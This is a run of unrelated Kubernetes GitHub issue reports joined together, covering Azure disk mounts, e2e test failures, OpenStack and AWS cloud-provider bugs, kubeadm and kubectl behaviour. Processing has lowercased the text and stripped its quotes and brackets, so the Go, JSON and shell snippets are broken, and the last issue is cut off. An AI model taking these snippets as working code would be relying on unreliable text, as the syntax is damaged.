azuredisk - wait for attach expect device path as a lun number, instead got: /dev/disk/azure/scsi1/lun1  strconv.atoi: parsing \ /dev/disk/azure/scsi1/lun1\ : invalid syntax \r   warning  failedmount             1m  x10 over 21m    kubelet, k8s-agentpool-66825246-0  unable to mount volumes for pod  \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r this was introduced by following code change introduced in v1.10.0:\r https://github.com/kubernetes/kubernetes/blob/568afb4ecca99bc3b54fddc20927b3713369d357/pkg/volume/util/operationexecutor/operation_generator.go l517-l518\r \r candidate fix is here only works on linux, not a good solution :\r https://github.com/andyzhangx/kubernetes/commit/e2873903c9334782307eae0a763b6ee5918ba7a7\r \r this issue is caused by pr: https://github.com/kubernetes/kubernetes/pull/58177\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

this issue is meant to track all feature requests that fall into the category of improving existing compute resource apis.\r some of the initial reasons for improving compute apis are:\r 1. providing per-device quota while not-compromising workload portability across compatible devices.\r 2. enabling per-device billing while not-compromising workload portability across compatible devices.\r 3. enabling compute resource consumption via metadata of resources like \ minimum cpu version\ , \ minimum gpu memory\ , etc.\r \r  this doc  https://docs.google.com/document/d/1lpuw-tjm252w4ogqbvcfafuzkwflpz2i0egpcwialn0/edit?usp=sharing  provides more use cases for improving compute apis.\r \r this was discussed in the most recent  resource management working group meeting  https://docs.google.com/document/d/1df6ugczgleahrqyz20v55u1ycblfxv4pjh0ciwcmhkk/edit heading=h.2ltjzba8ef5v .\r \r the most promising design as of now is that of introducing separate api objects one to represent a concrete compute resource and the other to represent policy/grouping around concrete objects  similar to storage classes . this design is yet to be fully spec'd out.\r \r design docs: \r \r    resource class proposal  https://docs.google.com/document/d/1qkiivs9amh2ua5thhtvwqoqw0msle_rv3lfrio1aj6u  \r    alternate resource class proposal  https://docs.google.com/document/d/1666ppus4lz56tqkygcy6mxknazde-vwa7q4e5h92suc \r \r there are other features that could in theory be a part of the resource apis design:\r 1. cluster level resources - this could be a separate type of concrete compute resource that is different from node level concrete compute resources. https://github.com/kubernetes/community/pull/1400 attempts to tackle cluster level resources differently. this feature is yet to be fully understood. \r 2. network resources - kubernetes is currently attempting to introduce support for additional networks via the  network plumbing wg  https://groups.google.com/forum/ !topic/kubernetes-sig-network/anajtyqvosw . certain use cases for networking have node level devices  infiniband  along with scheduling restrictions which could possibly be represented via the new resource apis. this is a very early idea lacking rigorous thinking.\r  \r as of now the  to focus on the initial use cases of quota, chargeback and developer productivity as mentioned in the  use cases doc  https://docs.google.com/document/d/1lpuw-tjm252w4ogqbvcfafuzkwflpz2i0egpcwialn0/edit?usp=sharing . \r \r cc @kubernetes/sig-node-feature-requests @kubernetes/sig-scheduling-feature-requests \r  \r

failing job\r    gce-1.10-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-new&show-stale-tests= \r \r gubernator logs\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1502 beforesuite\r \r from initial investigation with @bsalamat and @krousey it looks like kube-dns didn't come back after upgrade, and the rest of the tests didn't run because they failed on the the precondition check. the recommendation was to followup with someone from sig-network.\r \r @mrhohn @rramkumar1 @grayluck with 1.11 release branch due to be cut tomorrow evening, can one of you plz help investigate this as a  see if there is a product issue here?\r \r  / /   @kubernetes/sig-network-bugs \r /assign @mrhohn \r cc @rramkumar1 @grayluck @jberkus @tpepper\r /milestone v1.11\r

-  x  \ goproxy\  to \ gcr.io/kubernetes-e2e-test-images\ \r -  x  \ jessie-dnsutils\  to \ gcr.io/kubernetes-e2e-test-images\ \r -  x  \ redis\  to \ gcr.io/kubernetes-e2e-test-images\ \r -  x  \ serve-hostname\  to \ gcr.io/k8s-authenticated-test\ \r

is this a bug report or feature request?  : bug report\r  \r   what happened  : i was reading the documentation for  networkpolicy  as defined  here  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.12/ networkpolicyspec-v1-networking-k8s-io \r \r   what you expected to happen  : to have clear documentation\r \r   how to reproduce it  as minimally and precisely as possible   : read the following, as seen in the 1.12 docs:\r >  policytypes   list of rule types that the networkpolicy relates to. valid options are ingress, egress, or ingress,egress.  ... \r \r \r   anything else we need to know?  : nope\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently, the user can change kubelet's run-time directory by setting \ root-dir\  in the kubeletextraargs field of noderegistration object. while this flag does alter kubelet's behavior, kubeadm still writes the configuration files for kubelet under /var/lib/kubelet.\r \r so, kubeadm should have its own parameter for the kubelet run-time directory to which it will write the configuration files. it can also pass the value of this parameter  if provided  to kubelet instead of using the kubeletextraargs map.\r \r   why is this needed  :\r i'm running k8s on a vm with two volumes - a limited boot volume and a configurable  to be much larger  data volume. so, i'm trying to move run-time data from the boot volume to the data volume. i've already set docker and kubelet to use the data volume, and i would like to have kubeadm do the same \r \r @kubernetes/sig-cluster-lifecycle-feature-requests\r 

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/105/  failed:  k8s.io  replicationcontroller should surface a failure condition on a common issue like exceeded quota {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:51 expected error:     < errors.errorstring | 0xc42076beb0>: {         s: \ rc manager never added the failure condition for rc \\\ condition-test\\\ :   api.replicationcontrollercondition nil \ ,     }     rc manager never added the failure condition for rc \ condition-test\ :   api.replicationcontrollercondition nil  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:206

we use proto2 in cri because protobuf v3 is beta then. now that protobuf  v3.1.0  https://github.com/google/protobuf/releases  have released for a few months, we should consider upgrade to v3 in case of api incompatibility in the future  see what's new in v3 at  here  https://github.com/google/protobuf/releases/tag/v3.0.0  .\r \r according protocol buffer  developer guide  https://developers.google.com/protocol-buffers/docs/overview introducing-proto3 :\r \r >  we recommend using proto3 for all new grpc servers and clients as it avoids compatibility issues.\r \r cc @yujuhong @kubernetes/sig-node-misc

kubernetes version    use  kubectl version  :\r kubernetes release: v1.6.0-beta.3  same behavior with the previous releases \r \r   environment  :\r -   cloud provider or hardware configuration  :\r   openstack heat\r \r -   os    e.g. from /etc/os-release :\r   ubuntu 16.04.2 lts  client machine \r \r -   kernel    e.g.  uname -a  :\r   linux control 4.4.0-36-generic \r \r   what happened  :\r i'm trying to deploy a kubernetes cluster on openstack  kube-up.sh , using the official tutorial  https://kubernetes.io/docs/getting-started-guides/openstack-heat/ .\r \r unfortunately i'm not able connect to kubernetes-master. \r i've checked the logs  /var/log/salt/minion  and the salt-minion reports the error: \r \r    \r 2017-03-20 15:51:17,783  salt.loaded.int.states.file  warning   9745  state for file: /var/log/kube-apiserver.log - neither 'source' nor 'contents' nor 'contents_pillar' nor 'contents_grains' was defined, yet 'replace' was set to 'true'. as there is no source to replace the file with, 'replace' has been set to 'false' to avoid reading the file unnecessarily.\r 2017-03-20 15:51:17,784  salt.loaded.int.states.file  warning   9745  state for file: /var/log/kube-apiserver-audit.log - neither 'source' nor 'contents' nor 'contents_pillar' nor 'contents_grains' was defined, yet 'replace' was set to 'true'. as there is no source to replace the file with, 'replace' has been set to 'false' to avoid reading the file unnecessarily.\r \r 2017-03-20 15:51:53,249  salt.state         error     9745  source file salt://kubelet/ca.crt not found\r \r 2017-03-20 15:51:53,263  salt.loaded.int.states.file  warning   9745  state for file: /var/log/kube-controller-manager.log - neither 'source' nor 'contents' nor 'contents_pillar' nor 'contents_grains' was defined, yet 'replace' was set to 'true'. as there is no source to replace the file with, 'replace' has been set to 'false' to avoid reading the file unnecessarily.\r 2017-03-20 15:51:53,272  salt.loaded.int.states.file  warning   9745  state for file: /var/log/kube-scheduler.log - neither 'source' nor 'contents' nor 'contents_pillar' nor 'contents_grains' was defined, yet 'replace' was set to 'true'. as there is no source to replace the file with, 'replace' has been set to 'false' to avoid reading the file unnecessarily.\r 2017-03-20 15:51:58,981  py.warnings        warning   10939  /usr/lib/python2.7/site-packages/salt/states/cmd.py:1044: deprecationwarning: the legacy user/group arguments are deprecated. replace them with runas. these arguments will be removed in salt oxygen.\r \r    \r the salt directory /srv/salt/kubelet/ has no ca.crt, so i tried to use the ca.crt from directory /srv/kubernetes/ and salt works, but the service /usr/local/bin/kubelet report an authentication error with openstack  error: failed to run kubelet: could not init cloud provider \ openstack\ : authentication failed .\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r source demoprojekt-openrc.sh   containing the credentials for openstack\r export external_network=\ external\ \r export create_image=false\r export image_id=cf47efb4-046e-4a01-9efa-0e5edfde4f1d\r export kubernetes_provider=openstack-heat; ./cluster/kube-up.sh\r ubuntu@control:~/kubernetes$ ./cluster/kube-up.sh\r ... starting cluster using provider: openstack-heat\r ... calling verify-prereqs\r swift client installed\r glance client installed\r nova client installed\r heat client installed\r openstack client installed\r ... calling verify-kube-binaries\r ... calling kube-up\r kube-up for provider openstack-heat\r  info  execute commands to create kubernetes cluster\r  info  uploading kubernetes-server-linux-amd64.tar.gz\r kubernetes-server.tar.gz\r  info  uploading kubernetes-salt.tar.gz\r kubernetes-salt.tar.gz\r /usr/local/lib/python2.7/dist-packages/novaclient/client.py:278: userwarning: the 'tenant_id' argument is deprecated in ocata and its use may result in errors in future releases. as 'project_id' is provided, the 'tenant_id' argument will be ignored.\r   warnings.warn msg \r  info  key pair already exists\r stack not found: kube-stack\r  info  create stack kube-stack\r +---------------------+-----------------------------------------------------------------------------------------------------------------------------------------+\r | field               | value                                                                                                                                   |\r +---------------------+-----------------------------------------------------------------------------------------------------------------------------------------+\r | id                  | 628f4d30-45ce-45b1-bb80-87cbd1fa4732                                                                                                    |\r | stack_name          | kube-stack                                                                                                                              |\r | description         | kubernetes cluster with one master and one or more worker nodes  as specified by the number_of_minions parameter, which defaults to 3 . |\r |                     |                                                                                                                                         |\r | creation_time       | 2017-03-20t15:48:26                                                                                                                     |\r | updated_time        | none                                                                                                                                    |\r | stack_status        | create_in_progress                                                                                                                      |\r | stack_status_reason |                                                                                                                                         |\r +---------------------+-----------------------------------------------------------------------------------------------------------------------------------------+\r ... calling validate-cluster\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_in_progress\r cluster status create_complete\r /usr/local/lib/python2.7/dist-packages/novaclient/client.py:278: userwarning: the 'tenant_id' argument is deprecated in ocata and its use may result in errors in future releases. as 'project_id' is provided, the 'tenant_id' argument will be ignored.\r   warnings.warn msg \r cluster \ openstack-kube-stack\  set.\r user \ openstack-kube-stack\  set.\r context \ openstack-kube-stack\  set.\r switched to context \ openstack-kube-stack\ .\r wrote config for openstack-kube-stack to /home/ubuntu/.kube/config\r done, listing cluster services:\r \r the connection to the server xxx.xxx.7.114 was refused - did you specify the right host or port?\r    \r \r   anything else we need to know  :\r    \r the cloud config inside the cluster is correct:\r  minion@kube-stack-master ~ $ cat /srv/kubernetes/openstack.conf\r  global \r auth-url=https://openstack:13000/v2.0\r username=name\r password=password\r region=regionone\r tenant-name=demoprojekt\r domain-name=\r  loadbalancer \r lb-version=\r subnet-id=a5222d9b-8f31-4b75-8c59-007ea336a6a3\r floating-network-id=613a4a6f-f7a0-4a55-7aa7-bffd5d01a915\r  route \r router-id=c950e702-eb37-49c4-a11d-bad0633a4626\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  :\r  \r aws, elb\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.8  pretty sure problem exists in master \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos 1353.7.0\r -   kernel    e.g.  uname -a  : 4.9.24\r -   install tools  : custom ami\r \r \r   what happened  :\r the service controller deletes and re-adds the elb listeners when it starts up  or becomes the master .\r \r   what you expected to happen  :\r it should only modify the listeners if they have actually changed.\r \r   how to reproduce it    as minimally and precisely as possible :\r - create a service with type  loadbalancer \r - restart controller-manager after elb has been created\r - search cloudtrail for events for the elb, and verify there are deleteloadbalancerlisteners and createloadbalancerlisteners events.\r \r   anything else we need to know  :\r \r i believe this is caused by  this for loop  https://github.com/kubernetes/kubernetes/blob/cc568f6433f2d90b30ca8e1d51f3597d60affb11/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l192-l209  in the  ensureloadbalancer  function which compares the desired listener properties to the actual listener properties.\r \r the problem is that k8 uses lowercase strings  1  https://github.com/kubernetes/kubernetes/blob/cc568f6433f2d90b30ca8e1d51f3597d60affb11/pkg/cloudprovider/providers/aws/aws.go l2554 ,  2  https://github.com/kubernetes/kubernetes/blob/cc568f6433f2d90b30ca8e1d51f3597d60affb11/pkg/cloudprovider/providers/aws/aws_test.go l1149  for the protocols, but aws returns uppercase protocols when describing the listeners  see the two example outputs below .\r \r i believe the simplest fix is to lowercase the protocols in the for loop when performing the comparison, which i can submit as a pr if others agree with that solution.\r \r from aws cli:\r    \r $ aws elb describe-load-balancers --load-balancer-names a4fafa3e6f24911e6aac506402a2bc46\r {\r     \ loadbalancerdescriptions\ :  \r          {\r              \ listenerdescriptions\ :  \r                 {\r                     \ listener\ : {\r                         \ instanceport\ : 32706, \r                         \ loadbalancerport\ : 80, \r                         \ protocol\ : \ tcp\ , \r                         \ instanceprotocol\ : \ tcp\ \r                     }, \r                     \ policynames\ :   \r                 }\r               \r         }\r      \r }\r    \r \r from go  elb.describeloadbalancers request  \r    \r package main\r \r import  \r \t\ log\ \r \r \t\ github.com/aws/aws-sdk-go/aws/session\ \r \t\ github.com/aws/aws-sdk-go/service/elb\ \r  \r \r func main   {\r \tname := \ a4fafa3e6f24911e6aac506402a2bc46\ \r \r \tsess := session.must session.newsession   \r \tsvc := elb.new sess \r \r \trequest := &elb.describeloadbalancersinput{}\r \trequest.loadbalancernames =    string{&name}\r \r \tresponse, err := svc.describeloadbalancers request \r \tif err != nil {\r \t\tlog.fatal err \r \t}\r \r \tfor _, loadbalancer := range response.loadbalancerdescriptions {\r \t\tlog.printf \ elb: %v\ \ , loadbalancer \r \t\treturn\r \t}\r }\r    \r \r outputs\r    \r 2017/06/06 11:11:49 elb: {\r   availabilityzones:  \ us-west-2a\ ,\ us-west-2b\ ,\ us-west-2c\  ,\r   canonicalhostedzonenameid: \ xxx\ ,\r   createdtime: 2017-03-24 03:35:49.48 +0000 utc,\r   dnsname: \ internal-a4fafa3e6f24911e6aac506402a2bc46-2085661947.us-west-2.elb.amazonaws.com\ ,\r   healthcheck: {\r     healthythreshold: 2,\r     interval: 10,\r     target: \ tcp:32706\ ,\r     timeout: 5,\r     unhealthythreshold: 6\r   },\r   instances:  {\r       instanceid: \ i-xxx\ \r     },{\r       instanceid: \ i-xxx\ \r     },{\r       instanceid: \ i-xxx\ \r     } ,\r   listenerdescriptions:  {\r       listener: {\r         instanceport: 32706,\r         instanceprotocol: \ tcp\ ,\r         loadbalancerport: 80,\r         protocol: \ tcp\ \r       }\r     } ,\r   loadbalancername: \ a4fafa3e6f24911e6aac506402a2bc46\ ,\r   policies: {\r \r   },\r   scheme: \ internal\ ,\r   securitygroups:  \ sg-xxx\  ,\r   sourcesecuritygroup: {\r     groupname: \ k8s-elb-a4fafa3e6f24911e6aac506402a2bc46\ ,\r     owneralias: \ xxx\ \r   },\r   subnets:  \ subnet-xxx\ ,\ subnet-xxx\ ,\ subnet-xxx\  ,\r   vpcid: \ vpc-xxx\ \r }\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r  \r   is this a bug report or feature request?  :\r  \r   what happened  :\r since 1.7.1, you cannot add extra parameters when you use --config, but some parameters  like --skip-preflight-checks  aren't implemented in the config file.\r \r   what you expected to happen  :\r add skippreflightchecks in the config syntax or allow the combination of --config and --skip-preflight-checks parameters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install kubeadm 1.7.1, and run :\r  $ kubeadm init --skip-preflight-checks --config kubeadm.yaml \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.1\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : linux 4.9.20-std-1\r - install tools: kubeadm\r - others:\r

from https://github.com/kubernetes/kubernetes/pull/49454 discussion_r129645760:\r > our roundtrip test doesn't exercise these conversions, because the internal kind and the external kind are of different group  see  here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/api/testing/roundtrip/roundtrip.go l210-l212  . we need to update  roundtriptoallexternalversions  to test cross-group conversions. \r \r @kubernetes/sig-api-machinery-bugs @caesarxuchao @sttts @deads2k @lavalamp \r

is this a bug report or feature request?  :\r  \r   what happened  :\r  kubectl patch  exits with exit code 1 when there are no changes.\r \r   what you expected to happen  :\r i expected the exit code to be 0.\r a warning could be printed to stderr, but the exit code should be 0, since no error occurred.\r this is really annoying in automation, where the non-zero exit code means \ something went wrong, bail\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl create configmap foo\r configmap \ foo\  created\r $ kubectl patch configmap/foo --patch $'data:\   foo: bar'\r $ kubectl patch configmap/foo --patch $'data:\   foo: bar'\r configmap \ foo\  not patched\r $ echo \ $?\ \r 1\r $\r    \r \r   anything else we need to know?  :\r don't think so.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r arch linux\r - kernel  e.g.  uname -a  :\r 4.14.11\r - install tools:\r ?\r - others:\r n/a

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  documentation  https://kubernetes.io/docs/reference/generated/kubelet/  reads that the only options are \ rkt\  and \ docker\ .\r \r   what you expected to happen  :\r i expected to have an entry that would allow me to use containerd, cri-o, etc. i had to go to \ kubernetes the hard way\  to see how to configure for cni and found that there was an undocumented option.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r  i'll have a pr for this momentarily.\r \r   environment  :\r - kubernetes version  use  kubectl version  : this bug has existed since 1.2\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

is this a bug report or feature request?  : bug\r \r   \r \r   what happened  :\r i run several stateful sets on a cluster provisioned on azure cloud. when performing a rolling update of my nodes  i.e., cordon, drain, delete vm  one after the other the pods of the stateful sets are moved to another node. however, the persistent volume cannot be moved  detach/attach times out . often it takes more than hours or even days until the volume is successfully attached to the new node to which the pod has been moved.\r    bash\r $ kubectl describe pod my-pod-0\r  ... \r events:\r   type     reason       age                  from                                                  message\r   ----     ------       ----                 ----                                                  -------\r   warning  failedmount  36m  x26 over 18h    attachdetach                                          attachvolume.attach failed for volume \ pvc-31138772-2863-11e8-abaf-0a580a2c0247\  : attach volume \ my-cluster-dynamic-pvc-31138772-2863-11e8-abaf-0a580a2c0247\  to instance \ my-node-1\  failed with timed out waiting for the condition\r   warning  failedsync   24m  x503 over 19h   kubelet, my-node-1                                    error syncing pod\r   warning  failedmount  4m  x512 over 19h    kubelet, my-node-1                                    unable to mount volumes for pod \ my-pod-0_default b68d8349-2c37-11e8-a64f-0a580a2c006a \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ my-pod-0\ . list of unattached/unmounted volumes= my-pod \r    \r in the logs of the responsible  kube-controller-manager  i see:\r    \r i0321 07:50:08.359452       1 azure_controllercommon.go:115  azuredisk - update default : vm my-cluster-my-node-1  - attach disk\r i0321 07:50:17.488377       1 azure_controllercommon.go:121  azuredisk - update default  backing off: vm my-cluster-my-node-1 \r e0321 07:50:21.764146       1 azure_backoff.go:215  backoff: failure, will retry, http response=409, err=compute.virtualmachinesclient createorupdate: failure responding to request: statuscode=409 -- original error: autorest/azure: service returned an error. status=409 code=\ conflictinguserinput\  message=\ disk '/subscriptions/xxx/resourcegroups/xxx/providers/microsoft.compute/disks/my-cluster-dynamic-pvc-31138772-2863-11e8-abaf-0a580a2c0247' cannot be attached as the disk is already owned by vm '/subscriptions/xxx/resourcegroups/xxx/providers/microsoft.compute/virtualmachines/my-cluster-my-node-4'.\ \r    \r \r   what you expected to happen  :\r the persistent volume is detached and attached to the new node in a reasonable time frame  minutes, not hours or even days .\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a stateful set on a cluster running on azure, cordon the node, drain it and delete it from the azure console.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.9\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos stable 1632.3.0\r - others:  standard_ds2_v2  machine type\r

this requires removing the nginx server that sits in front of the kube-apiserver and having the apiserver bound to port 443.   see  4007.

<!-- \r \r -->\r \r \r   what happened  :\r when use  kubectl exec  command, we found multi  container  query param in the request, \r    shell\r ...exec?command=sh&container=container-0&container=container-0&stdin=true&stdout=true&tty=true'\r    \r   because we set the  container  param twice in   kubernetes/pkg/kubectl/cmd/exec/exec.go   \r    go\r \t\treq := restclient.post  .\r \t\t\tresource \ pods\  .\r \t\t\tname pod.name .\r \t\t\tnamespace pod.namespace .\r \t\t\tsubresource \ exec\  .\r \t\t\tparam \ container\ , containername \r \t\treq.versionedparams &corev1.podexecoptions{\r \t\t\tcontainer: containername,\r \t\t\tcommand:   p.command,\r \t\t\tstdin:     p.stdin,\r \t\t\tstdout:    p.out != nil,\r \t\t\tstderr:    p.errout != nil,\r \t\t\ttty:       t.raw,\r \t\t}, scheme.parametercodec \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r use  kubectl exec  command and set the log level to  8 \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r attempting to use secrets to authenticate for my deployments on a local cluster does not work correctly.\r using imagepullsecrets does not appear to do anything, whether creating it directly from docker/config.json or inputting credentials manually.\r \r   what you expected to happen  :\r secrets should authenticate private repositories as described in documentation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup minimal cluster via kubeadm running ubuntu server master and windows server node.\r \r   anything else we need to know?  :\r nodes are all windows based.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: virtual machines\r - os  e.g:  cat /etc/os-release  : master: ubuntu server 18.04, nodes: windows server 1809\r - kernel  e.g.  uname -a  : linux 4.15.0-46-generic\r - install tools: kubeadm\r - others:\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : when i use  kubectl version  the output looks like the following: https://i.imgur.com/td86faj.png\r \r   what you expected to happen  : it should normaly tell  client version: 1.14.1  or smth. similar.\r \r   how to reproduce it  as minimally and precisely as possible   : unsure, when this happened. it seems that smth. is broken within kubectl, why evert.\r \r   anything else we need to know?  :\r \r nothing, what can help for now. otherwise ask for it please : \r \r   environment  :\r - kubernetes version  use  kubectl version  : can be read out from the image above : \r \r - cloud provider or hardware configuration: 4x8gb ram, 2x3 tb  swraid 0, no swap , i7-2600\r \r - os  e.g:  cat /etc/os-release  : debian 9  stretch \r - kernel  e.g.  uname -a  : 4.9.0-9-amd64 debian 4.9.168-1  2019-04-12 \r - install tools: what is meant by this?\r - network plugin and version  if this is a network-related bug : not needed\r - others:\r

on this page - https://github.com/kubernetes/kubernetes/blob/master/docs/devel/development.md - the flow appears like it should be: - fork the tree - download and setup that tree - run tests - code - commit - submit pr  however, right now, between steps 2 and 3, there's a large section on godeps, which, i suspect, a reasonably large set of people will never need to do  and it smashes their existing $gopath .  i propose moving it into its own file, and linking off to it.

servers that include the canonical ports are not being properly handled by the credential provider for docker pull secrets.  we should normalize 443 and 80 prior to lookup.  in this case an artifactory server was configured with foo.bar.host.com that redirected to foo.bar.host.com:443 - user was unable to find a match for their secret.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-test/13693/  failed:  k8s.io  pods should get a host ip  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:227 expected error:     < errors.statuserror | 0xc82207de00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server does not allow access to the requested resource  get pods pod-hostip-b86aa67e-7e13-11e6-a0e9-0242ac110003 \ ,             reason: \ forbidden\ ,             details: {                 name: \ pod-hostip-b86aa67e-7e13-11e6-a0e9-0242ac110003\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ forbidden: \\\ /api/v1/namespaces/e2e-tests-pods-3hps0/pods/pod-hostip-b86aa67e-7e13-11e6-a0e9-0242ac110003\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 403,         },     }     the server does not allow access to the requested resource  get pods pod-hostip-b86aa67e-7e13-11e6-a0e9-0242ac110003  not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/5739/  failed:  k8s.io  dns should provide dns for the cluster  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:352 expected error:     < errors.errorstring | 0xc8204761a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:236      previous issues for this test:  26194  26338  30345

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : iscsi session logout\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r > client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r > server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 